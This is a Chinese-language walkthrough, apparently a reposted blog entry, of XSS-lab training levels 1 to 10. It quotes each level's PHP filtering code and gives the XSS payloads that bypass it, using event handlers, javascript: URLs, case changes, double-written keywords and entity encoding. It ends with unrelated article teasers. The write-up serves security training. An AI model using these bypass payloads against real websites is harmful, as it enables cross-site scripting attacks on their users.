xss-lab靶场level1-level10

level1:
无过滤形式
直接
<script>window.alert(123)</script>

level2:
htmlspecialchars函数将预定义的小于和大于号转换为html实体
    < (小于)成为 &lt;
    > (大于)成为 &gt;

源代码
 <?php 
ini_set("display_errors", 0);
$str = $_GET["<script>window.alert(111)</script>"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

这一个只是在文字里设置了,但是input的value并没有
这是最后输出的格式:"&lt;script&gt;window.alert(111)&lt;/script&gt;"
所以如果想绕过那么就想办法让程序识别不到小于号
但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号
所以
"> '<script>window.alert(11)</script>' <"
前后各自加的内容是为了闭合前后的符号,让中间内容单独出现

$str = $_GET[""> <script>window.alert(11)</script> <""];

> <script>window.alert(11)</script> <

htmlspecialchars(> <script>window.alert(11)</script> <)

level3:
没有找到和&lt;script&gt;window.alert(11)&lt;/script&gt;相关的结果.
"> "<script>window.alert(11)</script>" <"
上一句之所以没有用,就是因为value里也被设置了编码所以这个要绕过的是value里的编码
但是只要是大于号都会被编码,所以我们应该去寻找其他注入代码
方法:onfocus代替<script></script>,然后再利用js伪协议
这样就能取代大于小于号
原理:onfocus事件在元素获得焦点时触发,最常与 <input>、<select> 和 <a> 标签一起使用,以上面图片的html标签<input>为例,<input>标签是有输入框的,简单来说,onfocus事件就是当输入框被点击的时候,就会触发myFunction()函数,然后我们再配合javascript伪协议来执行javascript代码
最后输入框代码变成了这样:
<input name=keyword  value='' οnfοcus=javascript:alert() ''>
<input type=submit name=submit value=搜索 />

所以再输入之后再点击一下输入框即可注入成功

level4:
<input name=keyword  value="scriptalert(123)/script">
可见大于号是直接被去掉了
再看这个代码会发现value后面有双引号,而且双引号是不会被编码或者删掉,所以想法是第三关,但是要在前面加上双引号
”οnfοcus=javascript:alert()

level5:
<input name=keyword  value="<scr_ipt>alert(123)</script>">
输入注入代码,会发现第一个srcipt标签加上了下划线
而且<svg/οnlοad=alert(1)>
则会
<input name=keyword  value="<svg/o_nload=alert(1)>">
说明不管输入什么,它都会在第一个标签的中间位置加上下划线

于是我们查看了源代码
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);

发现它只对on和<script进行过滤,而且不区分大小写
可以使用其他标签替换iframe、a
"><iframe src="javascript:alert(123)"></iframe><"
"> <a href=javascript:alert()>xxx</a> <"

level6:
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
这一个过滤的更多
所以还是想办法过滤,找到其他可以替换的标签
查看代码发现对大小写并不检查
"><scRipt>window.alert(123)</scRipt><"

level7:
f12查看页面源代码
<input name=keyword  value="<>alert(123)</>">
发现script直接被替换
尝试双写绕过
"><scrscriptipt>window.alert(123)</scrscriptipt><"
查看源代码
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);

level8:
<a href="<scr_ipt>alert(123)</scr_ipt>">友情链接</a>
发现友情链接的href参数被过滤了
script、src
但是href的unicode自动编码
所以想到可以编码绕过
并且使用伪协议
而且如果想要在超链接标签使用那么就用将地址放在href标签里,所以使用js伪协议
javascript:alert()

伪协议概念:
伪协议不同于因特网上所真实存在的协议,如http://,https://,ftp://,
而是为关联应用程序而使用的.如:tencent://(关联QQ),data:(用base64编码来在浏览器端输出二进制文件),还有就是javascript:
我们可以在浏览地址栏里输入"javascript:alert(‘JS!’);",点转到后会发现,实际上是把javascript:后面的代码当JavaScript来执行,并将结果值返回给当前页面。
相当于是一个地址或者网址

level9:
1.过滤
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

2.html实体编码
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>

3.判断是否为链接
strpos函数判断字符串中是否有,不论该字符串出现在哪个位置,只要有都为true
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}


其实这个就是比第八关多了一个检查链接合法性的步骤
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/*http://*/


level10:
源代码有如下代码:
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);


<input name="t_sort"  value="'.$str33.'" type="hidden">
输入框被隐藏了,怎么办?
有没有什么办法可以显示
只有让type="text"
οnfοcus=javascript:alert(11)
?t_sort=" οnfοcus=javascript:alert() type="text'

<input name="t_sort"  value="'"  οnfοcus=javascript:alert() type="text'' " type="hidden">

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/856779.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深入探索Llama 2:下一代开源语言模型的革新与影响

Llama 2是Meta AI发布的一款先进的开源大模型&#xff0c;属于大型语言模型&#xff08;LLM&#xff09;类别。它是Transformer架构的一种变体&#xff0c;经过预先训练并在多种文本和代码数据集上进行微调&#xff0c;旨在提升功能和安全性。Llama 2的关键特点包括&#xff1a…

06. 多线程 yield 方法

1. 前言 本节对 yield 方法进行深入的剖析&#xff0c;主要内容点如下&#xff1a; 首先要了解什么是 CPU 执行权&#xff0c;因为 yield 方法与 CPU 执行权息息相关&#xff1b;了解 yield 方法的作用&#xff0c;要明确 yield 方法的使用所带来的运行效果&#xff1b;了解什…

简述http/https、tcp/ip、SSL/TLS介绍

HTTP/HTTPS、TCP和IP之间的区别主要体现在它们的作用层次、功能特点以及在网络通信中的角色。 一. 作用层次&#xff1a; HTTP/HTTPS&#xff1a;HTTP&#xff08;Hyper Text Transfer Protocol&#xff0c;超文本传输协议&#xff09;和HTTPS&#xff08;HTTP Secure&#x…

跨区域文件管控解决方案,一文了解

跨区域文件管控是一个涉及在不同地域或区域之间管理和控制文件的过程&#xff0c;它包括安全性、合规性和管理效率等多个方面。以下是一些关键的考量因素&#xff1a; 1.安全性&#xff1a;确保在传输过程中文件不被截获、篡改或泄露。使用加密技术保护文件&#xff0c;并确保传…

云呼叫中心系统能帮企业做哪些事?

在云计算时代大环境的影响&#xff0c;各大企业也都企图将云计算融入企业业务中&#xff0c;智能化不只可以提高企业产能、提高服务效率&#xff0c;更能发掘更高的品牌价值。云计算不断深入企业内部&#xff0c;尤其在劳动密集型的产业中&#xff0c;优势更加明显。以电销为例…

mysql 慢sql优化记录

最近在分析一条SQL&#xff0c;这条SQL执行时间去到2秒以上。SQL如下&#xff1a; selectcount(d.id) fromt_msg d whered.userid12456 and d.isread0 AND d.msgnumber<> NEW-JCPT003 表上索引有 idx_userid(userid)&#xff0c;这条SQL是一条比较标准的统计…

【初阶数据结构】深入解析带头双向循环链表:探索底层逻辑

&#x1f525;引言 本篇将介绍带头双向循环链表底层实现以及在实现中需要注意的事项&#xff0c;帮助各位在使用过程中根据底层实现考虑到效率上问题和使用时可能会导致的错误使用 &#x1f308;个人主页&#xff1a;是店小二呀 &#x1f308;C语言笔记专栏&#xff1a;C语言笔…

昇腾Ascend C算子开发

Ascend C的算子实现主要包含两个部分&#xff1a; ● Host侧Tiling实现 由于NPU中AI Core内部存储无法完全容纳算子输入输出的所有数据&#xff0c;需要每次搬 运一部分输入数据进行计算然后搬出&#xff0c;再搬运下一部分输入数据进行计算&#xff0c;这个 过程就称之为Tilin…

C#使用NPOI库实现Excel的导入导出操作——提升数据处理效率的利器

文章目录 一、NPOI库简介二、安装与引入三、Excel的导入操作1.CSV格式导入2.XLS格式导入3. XLSX格式导入 四、Excel的导出操作1. CSV格式导出2. XLS格式导出3. XLSX格式导出 五、NPOI库的应用优势与改进方向总结 在日常工作学习中&#xff0c;我们经常需要处理Excel文件&#x…

AIX小机环境如何给ASM添加磁盘

前面几篇介绍了HPUX,Solaris平台上RAC集群ASM如何添加磁盘的 &#xff0c;三大UNIX平台只差AIX&#xff0c;本文介绍AIX平台RAC 添加ASM磁盘 environment&#xff1a; AIX 6.1 oracle 10.0.2.4 2 nodes RAC (storage HP-6100 FC disk) 1. 存储划盘&#xff0c;并将盘赋予…

[Day 16] 區塊鏈與人工智能的聯動應用:理論、技術與實踐

計算機視覺技術在AI中的應用 簡介 計算機視覺&#xff08;Computer Vision&#xff0c;CV&#xff09;是人工智能&#xff08;AI&#xff09;中一個重要且快速發展的領域&#xff0c;它使得機器能夠理解和解釋視覺信息。隨著硬件計算能力的提升和深度學習方法的興起&#xff…

紫光展锐芯片进入烧录模式

实验平台&#xff1a;移远通信SC200L搭载SMART-EVB-G5开发板 软件进入&#xff1a; SPRD平台芯片可以通过adb进入fastboot模式&#xff0c;由fastboot flash boot等指令烧录&#xff1a; $ adb root $ adb reboot fastboot $ fastboot flash boot boot.img 由于usb传输一般都…

探索 Spring Boot 集成缓存功能的最佳实践

在线工具站 推荐一个程序员在线工具站&#xff1a;程序员常用工具&#xff08;http://cxytools.com&#xff09;&#xff0c;有时间戳、JSON格式化、文本对比、HASH生成、UUID生成等常用工具&#xff0c;效率加倍嘎嘎好用。 程序员资料站 推荐一个程序员编程资料站&#xff1a;…

《单元测试之道Java版——使用JUnit》学习笔记汇总

前言 主要用来记录《单元测试之道Java版——使用JUnit》书中的一些必要知识&#xff0c;方便后期编程使用。 目录 序言你的首个单元测试使用Junit编写测试测试哪些内容&#xff1a;Right-BICEPCORRECT边界条件使用Mock对象好的测试所具有的品质在项目中进行测试设计话题 后…

使用kibana创建索引的时候报错处理

报错信息&#xff1a;The index pattern youve entered doesnt match any indices. You can match your 1 index, below. 使用kibana创建索引的时候&#xff0c;无法进行下一步创建操作&#xff0c;出现这种情况有很多种情况&#xff0c;每个人遇到的问题会不一样。 第一种&am…

python基础篇(3):print()补偿知识点

1 print输出不换行 默认print语句输出内容会自动换行&#xff0c;如下&#xff1a; print("hello") print(" world") 结果&#xff1a; 在print语句中&#xff0c;加上 end’’ 即可输出不换行了 print("hello",end) print(" world&quo…

Java | Leetcode Java题解之第171题Excel表列序号

题目&#xff1a; 题解&#xff1a; class Solution {public int titleToNumber(String columnTitle) {int number 0;int multiple 1;for (int i columnTitle.length() - 1; i > 0; i--) {int k columnTitle.charAt(i) - A 1;number k * multiple;multiple * 26;}ret…

Python重力弹弓流体晃动微分方程模型和交直流电阻电容电路

&#x1f3af;要点 &#x1f3af;计算地球大气层中热层金属坠物运动轨迹 | &#x1f3af;计算炮弹最佳弹射角度耦合微分方程 | &#x1f3af;计算电磁拉莫尔半径螺旋运动 | &#x1f3af;计算航天器重力弹弓运动力学微分方程 | &#x1f3af;计算双摆的混沌运动非线性微分方程…

哈尔滨金融行业安全的坚固基石:等保测评的作用

在信息化与数字化的浪潮下&#xff0c;金融行业面临着前所未有的挑战与机遇。哈尔滨&#xff0c;作为东北地区重要的金融中心&#xff0c;其金融行业的信息安全直接关系到区域经济的稳定与发展。在此背景下&#xff0c;信息安全等级保护测评&#xff08;简称“等保测评”&#…

前端查询后矩阵的和

// 创建一个 n x n 的二维数组并初始化为 0 function createMatrix(n) {// 创建一个长度为 n 的数组let matrix new Array(n);// 遍历数组&#xff0c;将每个元素设为长度为 n 的新数组&#xff0c;并初始化所有值为 0for(let i 0; i < n; i) {matrix[i] new Array(n).fi…